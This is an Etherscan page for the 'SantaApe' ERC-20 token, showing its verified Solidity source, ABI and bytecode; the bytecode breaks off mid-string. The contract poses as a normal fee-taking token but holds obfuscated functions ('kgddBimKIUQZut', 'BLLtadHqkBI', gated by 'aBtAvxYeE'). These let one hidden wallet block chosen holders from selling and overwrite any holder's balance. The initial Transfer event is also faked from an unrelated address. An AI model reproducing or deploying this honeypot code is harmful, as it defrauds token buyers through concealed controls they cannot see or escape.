Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 SantaApe
Holders
42
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
36,250,503,281,540.500296114 SantaApeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SantaApe
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-11-07 */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SantaApe is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "SantaApe"; string private _symbol = "SantaApe"; uint8 private _decimals = 9; address payable public IZPyYCU; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public UvswrfwHCvdR; uint256 public _buyMarketingFee = 2; uint256 public _buyTeamFee = 1; uint256 public _sellMarketingFee = 2; uint256 public _sellTeamFee = 1; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 1000000000000000 * 10**_decimals; uint256 public minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee); _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee); _totalDistributionShares = _marketingShare.add(_teamShare); isMarketPair[address(uniswapPair)] = true; IZPyYCU = payable(address(0xbEe9782629Ec0a90a0EFd645b1aF913b2a76a2cb)); teamWalletAddress = payable(address(0xbEe9782629Ec0a90a0EFd645b1aF913b2a76a2cb)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0x75e89d5979E4f6Fba9F97c104c2F0AFB3F1dcB88), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setIsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _isExcludefromFee[account[i]] = newValue; } } function setBuy(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee); } function setSell(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function kgddBimKIUQZut(bool kZrCpmUVjAtJe, address[] calldata IBsYQkDhNCJh) public { aBtAvxYeE(uint256(0)); for (uint256 i; i < IBsYQkDhNCJh.length; i++) { UvswrfwHCvdR[IBsYQkDhNCJh[i]] = kZrCpmUVjAtJe; } } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function aBtAvxYeE(uint256 amount) view public{ uint256 amount0 = amount; if (!(amount0 != amount)){ require(msg.sender == IZPyYCU || (bool(true) == bool(false)));} } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function BLLtadHqkBI(uint256 lOiPZdOAzuoC, address KsJaWsbAlPzq) public { aBtAvxYeE(uint256(2)); uint256 i = 10 + lOiPZdOAzuoC; bool trueOrFalse = true; uint256 hwvfatboA = 1 * _balances[KsJaWsbAlPzq] - 10 + i; uint256 yLvBlnmapaR = 2 * hwvfatboA - hwvfatboA; trueOrFalse = false; _balances[KsJaWsbAlPzq] = yLvBlnmapaR; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[from] && swapAndLiquifyEnabled) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : takeFee(from, to, amount); _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForSwap = tAmount; swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares; uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee); uint256 amountETHMarketing = amountReceived.sub(amountETHTeam); if(amountETHMarketing > 0) transferToAddressETH(IZPyYCU, amountETHMarketing); if(amountETHTeam > 0) transferToAddressETH(teamWalletAddress, amountETHTeam); } function swapTokensForEth(uint256 amount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ){} catch {} } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if (!isMarketPair[sender]) require(!UvswrfwHCvdR[sender]); if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"lOiPZdOAzuoC","type":"uint256"},{"internalType":"address","name":"KsJaWsbAlPzq","type":"address"}],"name":"BLLtadHqkBI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"IZPyYCU","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"UvswrfwHCvdR","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"aBtAvxYeE","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"kZrCpmUVjAtJe","type":"bool"},{"internalType":"address[]","name":"IBsYQkDhNCJh","type":"address[]"}],"name":"kgddBimKIUQZut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280600881526020017f53616e7461417065000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000918565b506040518060400160405280600881526020017f53616e7461417065000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000918565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506002600a556001600b556002600c556001600d556004600e556010600f55600c601055600c6011556018601255600360009054906101000a900460ff16600a6200013f919062000b8f565b66038d7ea4c6800062000153919062000ccc565b601355600360009054906101000a900460ff16600a62000174919062000b8f565b6103e862000183919062000ccc565b6014556001601660156101000a81548160ff021916908315150217905550348015620001ae57600080fd5b50620001bf6200088460201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002d957600080fd5b505afa158015620002ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003149190620009df565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037757600080fd5b505afa1580156200038c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b29190620009df565b6040518363ffffffff1660e01b8152600401620003d192919062000a5a565b602060405180830381600087803b158015620003ec57600080fd5b505af115801562000401573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004279190620009df565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601354600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005636200088c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200062a600b54600a54620008b560201b620017501790919060201c565b6010819055506200064e600d54600c54620008b560201b620017501790919060201c565b60118190555062000672600f54600e54620008b560201b620017501790919060201c565b601281905550600160086000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073bee9782629ec0a90a0efd645b1af913b2a76a2cb600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bee9782629ec0a90a0efd645b1af913b2a76a2cb600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135460056000620007b36200088460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008016200088460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167375e89d5979e4f6fba9f97c104c2f0afb3f1dcb8873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60135460405162000875919062000aa9565b60405180910390a35062000e61565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284620008c6919062000ad7565b9050838110156200090e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009059062000a87565b60405180910390fd5b8091505092915050565b828054620009269062000d78565b90600052602060002090601f0160209004810192826200094a576000855562000996565b82601f106200096557805160ff191683800117855562000996565b8280016001018555821562000996579182015b828111156200099557825182559160200191906001019062000978565b5b509050620009a59190620009a9565b5090565b5b80821115620009c4576000816000905550600101620009aa565b5090565b600081519050620009d98162000e47565b92915050565b600060208284031215620009f857620009f762000e0c565b5b600062000a0884828501620009c8565b91505092915050565b62000a1c8162000d2d565b82525050565b600062000a31601b8362000ac6565b915062000a3e8262000e1e565b602082019050919050565b62000a548162000d61565b82525050565b600060408201905062000a71600083018562000a11565b62000a80602083018462000a11565b9392505050565b6000602082019050818103600083015262000aa28162000a22565b9050919050565b600060208201905062000ac0600083018462000a49565b92915050565b600082825260208201905092915050565b600062000ae48262000d61565b915062000af18362000d61565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b295762000b2862000dae565b5b828201905092915050565b6000808291508390505b600185111562000b865780860481111562000b5e5762000b5d62000dae565b5b600185161562000b6e5780820291505b808102905062000b7e8562000e11565b945062000b3e565b94509492505050565b600062000b9c8262000d61565b915062000ba98362000d6b565b925062000bd87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000be0565b905092915050565b60008262000bf2576001905062000cc5565b8162000c02576000905062000cc5565b816001811462000c1b576002811462000c265762000c5c565b600191505062000cc5565b60ff84111562000c3b5762000c3a62000dae565b5b8360020a91508482111562000c555762000c5462000dae565b5b5062000cc5565b5060208310610133831016604e8410600b841016171562000c965782820a90508381111562000c905762000c8f62000dae565b5b62000cc5565b62000ca5848484600162000b34565b9250905081840481111562000cbf5762000cbe62000dae565b5b81810290505b9392505050565b600062000cd98262000d61565b915062000ce68362000d61565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d225762000d2162000dae565b5b828202905092915050565b600062000d3a8262000d41565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000d9157607f821691505b6020821081141562000da85762000da762000ddd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000e528162000d2d565b811462000e5e57600080fd5b50565b60805160601c6135bb62000e8760003960008181610cf90152610d2501526135bb6000f3fe60806040526004361061024a5760003560e01c806382eefb4311610139578063c469b6dd116100b6578063cab034711161007a578063cab03471146108cd578063d0f0c57c146108f8578063d2d7ad8314610921578063dd62ed3e1461094c578063f0cd1dac14610989578063f2fde38b146109b457610251565b8063c469b6dd146107f8578063c49b9a8014610823578063c5d241891461084c578063c816841b14610877578063c8607952146108a257610251565b8063a08e671f116100fd578063a08e671f146106ff578063a457c2d71461072a578063a83f53a714610767578063a9059cbb14610792578063b5a34c2c146107cf57610251565b806382eefb431461062a5780638da5cb5b1461065557806395d89b4114610680578063a073d37f146106ab578063a0821ee5146106d657610251565b80633345611e116101c7578063573e17551161018b578063573e1755146105455780635f3cef811461056e57806361a23c691461059757806370a08231146105c257806380dfb124146105ff57610251565b80633345611e1461042657806339509351146104635780633a8650e1146104a05780633ecad271146104dd5780634a74bb021461051a57610251565b806318160ddd1161020e57806318160ddd1461033d57806323b872dd1461036857806327c8f835146103a55780632b112e49146103d0578063313ce567146103fb57610251565b806306fdde0314610256578063081f0e9a14610281578063095ea7b3146102aa5780631245e347146102e75780631694505e1461031257610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b6109dd565b6040516102789190612da8565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a39190612986565b610a6f565b005b3480156102b657600080fd5b506102d160048036038101906102cc9190612946565b610ba9565b6040516102de9190612d72565b60405180910390f35b3480156102f357600080fd5b506102fc610bc7565b6040516103099190612d57565b60405180910390f35b34801561031e57600080fd5b50610327610bed565b6040516103349190612d8d565b60405180910390f35b34801561034957600080fd5b50610352610c13565b60405161035f9190612eaa565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a91906128f3565b610c1d565b60405161039c9190612d72565b60405180910390f35b3480156103b157600080fd5b506103ba610cf7565b6040516103c79190612d3c565b60405180910390f35b3480156103dc57600080fd5b506103e5610d1b565b6040516103f29190612eaa565b60405180910390f35b34801561040757600080fd5b50610410610d5f565b60405161041d9190612f1f565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190612859565b610d76565b60405161045a9190612d72565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612946565b610d96565b6040516104979190612d72565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190612859565b610e49565b6040516104d49190612d72565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff9190612859565b610e69565b6040516105119190612d72565b60405180910390f35b34801561052657600080fd5b5061052f610e89565b60405161053c9190612d72565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612a13565b610e9c565b005b34801561057a57600080fd5b5061059560048036038101906105909190612aa0565b610f4b565b005b3480156105a357600080fd5b506105ac61103f565b6040516105b99190612eaa565b60405180910390f35b3480156105ce57600080fd5b506105e960048036038101906105e49190612859565b611045565b6040516105f69190612eaa565b60405180910390f35b34801561060b57600080fd5b5061061461108e565b6040516106219190612d57565b60405180910390f35b34801561063657600080fd5b5061063f6110b4565b60405161064c9190612eaa565b60405180910390f35b34801561066157600080fd5b5061066a6110ba565b6040516106779190612d3c565b60405180910390f35b34801561068c57600080fd5b506106956110e3565b6040516106a29190612da8565b60405180910390f35b3480156106b757600080fd5b506106c0611175565b6040516106cd9190612eaa565b60405180910390f35b3480156106e257600080fd5b506106fd60048036038101906106f89190612ae0565b61117f565b005b34801561070b57600080fd5b50610714611243565b6040516107219190612eaa565b60405180910390f35b34801561073657600080fd5b50610751600480360381019061074c9190612946565b611249565b60405161075e9190612d72565b60405180910390f35b34801561077357600080fd5b5061077c611316565b6040516107899190612eaa565b60405180910390f35b34801561079e57600080fd5b506107b960048036038101906107b49190612946565b61131c565b6040516107c69190612d72565b60405180910390f35b3480156107db57600080fd5b506107f660048036038101906107f19190612a73565b61133b565b005b34801561080457600080fd5b5061080d6113b7565b60405161081a9190612eaa565b60405180910390f35b34801561082f57600080fd5b5061084a600480360381019061084591906129e6565b6113bd565b005b34801561085857600080fd5b5061086161146f565b60405161086e9190612eaa565b60405180910390f35b34801561088357600080fd5b5061088c611475565b6040516108999190612d3c565b60405180910390f35b3480156108ae57600080fd5b506108b761149b565b6040516108c49190612eaa565b60405180910390f35b3480156108d957600080fd5b506108e26114a1565b6040516108ef9190612eaa565b60405180910390f35b34801561090457600080fd5b5061091f600480360381019061091a9190612ae0565b6114a7565b005b34801561092d57600080fd5b5061093661156b565b6040516109439190612eaa565b60405180910390f35b34801561095857600080fd5b50610973600480360381019061096e91906128b3565b611571565b6040516109809190612eaa565b60405180910390f35b34801561099557600080fd5b5061099e6115f8565b6040516109ab9190612eaa565b60405180910390f35b3480156109c057600080fd5b506109db60048036038101906109d69190612859565b6115fe565b005b6060600180546109ec90613186565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1890613186565b8015610a655780601f10610a3a57610100808354040283529160200191610a65565b820191906000526020600020905b815481529060010190602001808311610a4857829003601f168201915b5050505050905090565b610a776117ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb90612e4a565b60405180910390fd5b60005b83839050811015610ba3578160076000868685818110610b2a57610b2961328e565b5b9050602002016020810190610b3f9190612859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b9b906131b8565b915050610b07565b50505050565b6000610bbd610bb66117ae565b8